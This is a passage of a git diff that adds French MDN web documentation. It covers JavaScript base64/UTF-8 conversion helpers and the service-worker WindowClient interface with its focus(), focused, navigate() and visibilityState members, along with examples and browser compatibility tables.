+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx &lt; nInLen; nInIdx++) {
+    nMod4 = nInIdx &amp; 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) &lt;&lt; 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 &lt; 3 &amp;&amp; nOutIdx &lt; nOutLen; nMod3++, nOutIdx++) {
+        taBytes[nOutIdx] = nUint24 &gt;&gt;&gt; (16 &gt;&gt;&gt; nMod3 &amp; 24) &amp; 255;
+      }
+      nUint24 = 0;
+
+    }
+  }
+
+  return taBytes;
+}
+
+/* encodage d'un tableau en une chaîne en base64 */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 &lt; 26 ?
+      nUint6 + 65
+    : nUint6 &lt; 52 ?
+      nUint6 + 71
+    : nUint6 &lt; 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var nMod3 = 2, sB64Enc = "";
+
+  for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx &lt; nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    if (nIdx &gt; 0 &amp;&amp; (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    nUint24 |= aBytes[nIdx] &lt;&lt; (16 &gt;&gt;&gt; nMod3 &amp; 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 &gt;&gt;&gt; 18 &amp; 63), uint6ToB64(nUint24 &gt;&gt;&gt; 12 &amp; 63), uint6ToB64(nUint24 &gt;&gt;&gt; 6 &amp; 63), uint6ToB64(nUint24 &amp; 63));
+      nUint24 = 0;
+    }
+  }
+
+  return sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) + (nMod3 === 2 ? '' : nMod3 === 1 ? '=' : '==');
+
+}
+
+/* Tableau UTF-8 en DOMString et vice versa */
+
+function UTF8ArrToStr (aBytes) {
+
+  var sView = "";
+
+  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx &lt; nLen; nIdx++) {
+    nPart = aBytes[nIdx];
+    sView += String.fromCharCode(
+      nPart &gt; 251 &amp;&amp; nPart &lt; 254 &amp;&amp; nIdx + 5 &lt; nLen ? /* six bytes */
+        /* (nPart - 252 &lt;&lt; 32) n'est pas possible pour ECMAScript donc, on utilise un contournement... : */
+        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 &lt;&lt; 24) + (aBytes[++nIdx] - 128 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 247 &amp;&amp; nPart &lt; 252 &amp;&amp; nIdx + 4 &lt; nLen ? /* five bytes */
+        (nPart - 248 &lt;&lt; 24) + (aBytes[++nIdx] - 128 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 239 &amp;&amp; nPart &lt; 248 &amp;&amp; nIdx + 3 &lt; nLen ? /* four bytes */
+        (nPart - 240 &lt;&lt; 18) + (aBytes[++nIdx] - 128 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 223 &amp;&amp; nPart &lt; 240 &amp;&amp; nIdx + 2 &lt; nLen ? /* three bytes */
+        (nPart - 224 &lt;&lt; 12) + (aBytes[++nIdx] - 128 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : nPart &gt; 191 &amp;&amp; nPart &lt; 224 &amp;&amp; nIdx + 1 &lt; nLen ? /* two bytes */
+        (nPart - 192 &lt;&lt; 6) + aBytes[++nIdx] - 128
+      : /* nPart &lt; 127 ? */ /* one byte */
+        nPart
+    );
+  }
+
+  return sView;
+
+}
+
+function strToUTF8Arr (sDOMStr) {
+
+  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
+
+  /* mapping... */
+
+  for (var nMapIdx = 0; nMapIdx &lt; nStrLen; nMapIdx++) {
+    nChr = sDOMStr.charCodeAt(nMapIdx);
+    nArrLen += nChr &lt; 0x80 ? 1 : nChr &lt; 0x800 ? 2 : nChr &lt; 0x10000 ? 3 : nChr &lt; 0x200000 ? 4 : nChr &lt; 0x4000000 ? 5 : 6;
+  }
+
+  aBytes = new Uint8Array(nArrLen);
+
+  /* transcription... */
+
+  for (var nIdx = 0, nChrIdx = 0; nIdx &lt; nArrLen; nChrIdx++) {
+    nChr = sDOMStr.charCodeAt(nChrIdx);
+    if (nChr &lt; 128) {
+      /* one byte */
+      aBytes[nIdx++] = nChr;
+    } else if (nChr &lt; 0x800) {
+      /* two bytes */
+      aBytes[nIdx++] = 192 + (nChr &gt;&gt;&gt; 6);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x10000) {
+      /* three bytes */
+      aBytes[nIdx++] = 224 + (nChr &gt;&gt;&gt; 12);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x200000) {
+      /* four bytes */
+      aBytes[nIdx++] = 240 + (nChr &gt;&gt;&gt; 18);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else if (nChr &lt; 0x4000000) {
+      /* five bytes */
+      aBytes[nIdx++] = 248 + (nChr &gt;&gt;&gt; 24);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 18 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    } else /* if (nChr &lt;= 0x7fffffff) */ {
+      /* six bytes */
+      aBytes[nIdx++] = 252 + /* (nChr &gt;&gt;&gt; 32) is not possible in ECMAScript! So...: */ (nChr / 1073741824);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 24 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 18 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 12 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &gt;&gt;&gt; 6 &amp; 63);
+      aBytes[nIdx++] = 128 + (nChr &amp; 63);
+    }
+  }
+
+  return aBytes;
+
+}
+</pre>
+
+<h4 id="Tests">Tests</h4>
+
+<pre class="brush: js notranslate">/* Tests */
+
+var entréeChaîne = "base64 \u2014 Mozilla Developer Network";
+
+var entréeUTF8 = strToUTF8Arr(entréeChaîne);
+
+var base64 = base64EncArr(entréeUTF8);
+
+alert(base64);
+
+var sortieUT8 = base64DecToArr(base64);
+
+var sortieChaîne = UTF8ArrToStr(sortieUT8);
+
+alert(sortieChaîne);</pre>
+
+<h4 id="Annexe_Décoder_une_chaîne_en_base64_en_un_objet_Uint8Array_ou_ArrayBuffer">Annexe : Décoder une chaîne en base64 en un objet <a href="/fr/docs/Web/API/Uint8Array">Uint8Array</a> ou <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer">ArrayBuffer</a></h4>
+
+<p>Ces fonctions permettent de créer des objets <a href="/fr/docs/Web/API/Uint8Array">uint8Arrays</a> ou <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer">arrayBuffers</a> à partir de chaînes en base64 :</p>
+
+<pre class="brush: js notranslate">var monTableau = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network"
+
+var monBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network"
+
+alert(monBuffer.byteLength);</pre>
+
+<div class="note"><strong>Note :</strong> La fonction <code>base64DecToArr(sBase64[, <em>nTailleBloc</em>])</code> renvoie un <a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>uint8Array</code></a> d'octets. Si vous souhaitez utiliser un tampon mémoire de 16 bits, 32 bits, 64 bits pour les données brutes, utilisez l'argument <code>nTailleBloc</code>, qui représente le nombre d'octets dont la propriété <code>uint8Array.buffer.bytesLength</code> doit être un multiple (<code>1</code> ou pas de paramètre pour l'ASCII, <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">les chaînes binaires</a> ou les chaînes encodées UTF-8, <code>2</code> pour les chaînes UTF-16, <code>4</code> pour les chaînes UTF-32).</div>
+
+<p>Pour une bibliothèque plus complète, voir <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – une représentation des chaînes de caractères semblable à celle du langage C, basée sur les tableaux typés</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.atob","atob()")}}</li>
+ <li>{{domxref("window.btoa","btoa()")}}</li>
+ <li><a href="/fr/docs/Web/HTTP/data_URIs" title="/fr/docs/Web/HTTP/data_URIs">URIs de données </a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer">ArrayBuffer</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Tableaux typés</a></li>
+ <li><a href="/fr/docs/Web/API/ArrayBufferView">ArrayBufferView</a></li>
+ <li><a href="/fr/docs/Web/API/Uint8Array">Uint8Array</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – une représentation des chaînes, basée sur les tableaux typés</a></li>
+ <li><a href="/fr/docs/Web/API/DOMString" title="/fr/docs/Web/API/DOMString">DOMString</a></li>
+ <li><a href="/fr/docs/Glossary/URI" title="/fr/docs/Glossary/URI"><code>URI</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/encodeURI" title="/fr/docs/Web/JavaScript/Reference/Objets_globaux/encodeURI"><code>encodeURI()</code></a></li>
+ <li><a href="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURIFixup" title="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIURIFixup"><code>nsIURIFixup()</code></a></li>
+ <li><a href="https://fr.wikipedia.org/wiki/Base64" title="https://fr.wikipedia.org/wiki/Base64">Article sur la base64 sur Wikipédia</a></li>
+</ul>
diff --git a/files/fr/web/api/windowclient/focus/index.html b/files/fr/web/api/windowclient/focus/index.html
new file mode 100644
index 0000000000..941c9b4bb6
--- /dev/null
+++ b/files/fr/web/api/windowclient/focus/index.html
@@ -0,0 +1,126 @@
+---
+title: WindowClient.focus()
+slug: Web/API/WindowClient/focus
+tags:
+  - API
+  - Client
+  - Experimental
+  - Focus
+  - Method
+  - Reference
+  - Service Workers
+  - WindowClient
+translation_of: Web/API/WindowClient/focus
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>La méthode <strong><code>focus()</code></strong> de l'interface {{domxref("WindowClient")}} focus le client en cours et retourne une {{jsxref("Promise")}} qui est résolue vers le<span> {{domxref("WindowClient")}} existant.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Client.focus().then(function(WindowClient) {
+  // utilisez le WindowClient une fois qu'il est focus
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Nil.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une {{jsxref("Promise")}} qui est résolue vers le {{domxref("WindowClient")}} existant.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+<code>  // Vérifie si le client en cours est ouvert et
+  // le focus le cas échéant</code>
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-focus-method', 'focus()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale..</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><br>
+ [1] Les Service workers (et <a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API">Push</a>) sont désactivés dans <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
diff --git a/files/fr/web/api/windowclient/focused/index.html b/files/fr/web/api/windowclient/focused/index.html
new file mode 100644
index 0000000000..7b4db1157f
--- /dev/null
+++ b/files/fr/web/api/windowclient/focused/index.html
@@ -0,0 +1,113 @@
+---
+title: WindowClient.focused
+slug: Web/API/WindowClient/focused
+translation_of: Web/API/WindowClient/focused
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>La propriété <strong><code>focused</code></strong> , en lecture seule de l'interface  {{domxref("WindowClient")}} , est un {{domxref("Boolean")}} qui indique si client actuel a le focus .</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">myFocused = WindowClient.focused;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("Boolean")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client) {
+        if(!client.focused)
+          return client.focus();
+        }
+      }
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#window-client-interface', 'WindowClient')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</p>
diff --git a/files/fr/web/api/windowclient/index.html b/files/fr/web/api/windowclient/index.html
new file mode 100644
index 0000000000..0bcb278c98
--- /dev/null
+++ b/files/fr/web/api/windowclient/index.html
@@ -0,0 +1,165 @@
+---
+title: WindowClient
+slug: Web/API/WindowClient
+tags:
+  - API
+  - Client
+  - Experimental
+  - Interface
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - WindowClient
+translation_of: Web/API/WindowClient
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>L'interface <code>WindowClient</code> de l'<a href="/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker</a> représente la portée d'un client service worker lorsque celui-ci existe en tant que document dans un contexte navigateur, controlé par un worker actif. Le client sélectionne et utilise un service worker pour son propre chargement et celui de ses sous-ressources.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><code>WindowClient</code> hérite certaines méthodes de son parent, {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focus()")}}</dt>
+ <dd>Assigne le focus au client en cours.</dd>
+ <dt>{{domxref("WindowClient.navigate()")}}</dt>
+ <dd>Charge l'url spécifiée dans la page en cours.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em><code>WindowClient</code> hérite certaines propriétés de son parent, {{domxref("Client")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowClient.focused")}} {{readonlyInline}}</dt>
+ <dd>Un booléen qui indique si oui ou non le client en cours est focus.</dd>
+ <dt>{{domxref("WindowClient.visibilityState")}} {{readonlyInline}}</dt>
+ <dd>Indique la visibilité du client en cours. Peut prendre les valeures <code>hidden</code>, <code>visible</code>, <code>prerender</code>, ou <code>unloaded</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // Vérifie si le client en cours est ouvert et
+  // le focus le cas échéant
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#window-client-interface', 'WindowClient')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>navigate()</code></td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>navigate()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Les Service workers (et <a href="/en-US/docs/Web/API/Push_API">Push</a>) sont désactivés dans <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+</ul>
diff --git a/files/fr/web/api/windowclient/navigate/index.html b/files/fr/web/api/windowclient/navigate/index.html
new file mode 100644
index 0000000000..0cc4c15659
--- /dev/null
+++ b/files/fr/web/api/windowclient/navigate/index.html
@@ -0,0 +1,109 @@
+---
+title: WindowClient.navigate()
+slug: Web/API/WindowClient/navigate
+tags:
+  - API
+  - Client
+  - Expérimentale
+  - Method
+  - Navigate
+  - Reference
+  - Service Workers
+  - WindowClient
+translation_of: Web/API/WindowClient/navigate
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>La méthode <strong><code>navigate()</code></strong> de l'interface  {{domxref("WindowClient")}} <span id="noHighlight_0.005279926980020444">charge une URL spécifiée dans une page de client contrôlée, puis retourne une</span>  {{jsxref("Promise")}}  <span id="noHighlight_0.005279926980020444">qui devra être analysée p</span>ar  {{domxref("WindowClient")}} (le demandeur).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>WindowClient</em>.navigate(<em>url</em>).then(function(<em>WindowClient</em>) {
+  // do something with your WindowClient after navigation
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd><span id="noHighlight_0.8092575892867941">L'emplacement pour naviguer vers (url est une string)</span> .</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise")}}  qui sera analysée par le demandeur {{domxref("WindowClient")}} (fonctionnement asynchrone : je te promet de faire, mais je suis pas sûr, à toi de vérifier) .</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#client-navigate-method', 'navigate()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_Navigateurs">Compatibilité des Navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(50)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) ont été  désactivés dans  <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p>
diff --git a/files/fr/web/api/windowclient/visibilitystate/index.html b/files/fr/web/api/windowclient/visibilitystate/index.html
new file mode 100644
index 0000000000..83791f1f9b
--- /dev/null
+++ b/files/fr/web/api/windowclient/visibilitystate/index.html
@@ -0,0 +1,107 @@
+---
+title: WindowClient.visibilityState
+slug: Web/API/WindowClient/visibilityState
+translation_of: Web/API/WindowClient/visibilityState
+---
+<p><span style="line-height: 19.0909080505371px;">{{SeeCompatTable}}{{APIRef("Service Workers API")}}</span></p>
+
+<p><span style="line-height: 19.0909080505371px;">La propriété <strong><code>visibilityState</code></strong>,  en lecture seule de l'interface {{domxref("WindowClient")}} indique la visibilité du client courant</span>. La valeur pourra être :  <code>hidden</code>, <code>visible</code>, <code>prerender</code>, or <code>unloaded</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">myVisState = WindowClient.visibilityState;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>une  {{domxref("DOMString")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i &lt; clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' &amp;&amp; 'focus' in client) {
+        if(visibilityState === 'hidden')
+          return client.focus();
+        }
+      }
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});</pre>
+
+<h2 id="Spécifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Spécifications</h2>
+
+<table class="standard-table" style="line-height: 19.0909080505371px;">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#window-client-interface', 'WindowClient')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
